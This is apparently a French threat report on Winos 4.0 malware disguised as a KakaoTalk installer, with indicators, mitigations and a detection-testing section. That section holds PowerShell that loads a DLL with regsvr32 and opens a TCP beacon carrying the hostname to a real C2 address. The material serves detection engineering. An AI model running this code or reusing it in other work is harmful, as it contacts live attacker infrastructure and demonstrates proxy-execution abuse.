Winos 4.0 : Malware Déguisé en Installateur KakaoTalk

Résumé

Les attaquants ont exploité l’empoisonnement SEO pour pousser un faux installateur KakaoTalk en tête des résultats de recherche. L’installateur portait un certificat de signature de code invalide et intégrait un paquet NSIS qui décompressait des fichiers malveillants, y compris Verifier.exe et AutoRecoverDat.dll. Une fois exécuté, le logiciel malveillant obtenait une persistance par l’enregistrement de DLL, des tâches planifiées et un mutex, puis se connectait à deux serveurs C2 distincts. Ses capacités incluaient la capture d’écran, le profilage système, et l’exécution en mémoire de charges utiles supplémentaires.

Enquête

Le Centre de Renseignements sur la Sécurité de AhnLab a signalé plus de 5 000 PC compromis après le début de la campagne le 9 mars. L’analyse a montré que les charges utiles NSIS chiffrées décryptent et déposent Verifier.exe et AutoRecoverDat.dll, créent un mutex, et chargent du shellcode à partir des fichiers GPUCache.xml. Selon la branche du shellcode, le logiciel malveillant contactait l’infrastructure C2 à 192.238.129.47 ou 119.28.70.225. La persistance était maintenue via l’enregistrement de DLL et des tâches planifiées lançant soit Verifier.exe soit rundll32 avec la DLL malveillante.

Atténuation

Les organisations doivent bloquer les domaines malveillants et les URL de téléchargement associés à la campagne. Appliquer une validation stricte de la signature de code et empêcher l’exécution de binaires portant des certificats invalides. La liste blanche des applications devrait être utilisée pour empêcher l’exécution des installateurs NSIS inconnus. Les équipes de sécurité devraient également surveiller le mutex spécifique, les tâches planifiées suspectes et les changements de registre décrits dans le rapport.

Réponse

Les équipes de détection devraient alerter sur la création du mutex 77825d8f-46d1-42d0-b298-83068bf9e31d et des tâches planifiées sous MicrosoftWindowsAppID. Rechercher Verifier.exe et AutoRecoverDat.dll dans les répertoires de profil utilisateur, et bloquer le trafic sortant vers les IPs et ports C2 connus. Réaliser une analyse médico-légale des systèmes affectés et supprimer entièrement tous les artefacts de persistance et composants malveillants.

Exécution de simulation

Prérequis : La vérification de télémetrie et de base doit avoir été passée.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

• Narratif & Commandes de l’attaque :

  L’adversaire a déjà placé des DLL malveillantes à l’intérieur du %LOCALAPPDATA%MicrosoftWindowsGPUCache répertoire, déguisées en fichiers cache légitimes. Pour exécuter la charge utile, l’attaquant exploite Regsvr32 (T1218.012) pour charger la DLL, puis utilise le composant chargé pour initier une communication C2 sur le port TCP 18852 (ou le port HTTPS 443) vers le serveur codé en dur 192.238.129.47. Ce flux réseau est l’indicateur observable que la règle Sigma surveille.

  1. Charger une DLL malveillante via Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. Initier un beacon C2 (la DLL malveillante ouvre un socket TCP vers le serveur C2). Pour les tests, nous émulerons le beacon avec un client PowerShell TCP simple qui se connecte à la même IP/port.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Script de test de régression : Le script suivant reproduit les étapes ci-dessus de bout en bout et générera la télémetrie réseau exacte attendue par la règle Sigma.

  # -------------------------------------------------
  # Simulation C2 Winos4.0 – déclenche la règle Sigma
  # -------------------------------------------------
  # 1. Charger la DLL (simulée) malveillante via Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Enregistrement de la DLL malveillante via Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] DLL simulée non trouvée à $dllPath – abandon."
      exit 1
  }
  
  # 2. Émuler le beacon C2 vers l'IP/port codée en dur
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] Établir la connexion TCP vers $c2IP:$c2Port ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Beacon envoyé."
  } catch {
      Write-Error "[-] Échec de la connexion : $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Commandes de nettoyage : Supprimer tout artefact temporaire et fermer les connexions persistantes.

  # Supprimer la DLL malveillante simulée (si c'était un artefact de test)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] DLL simulée nettoyée."
  }
  
  # S'assurer qu'aucun écouteur TCP orphelin ne reste (peu probable côté client uniquement)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # Aucune action requise ; les connexions sont fermées dans le script.
  }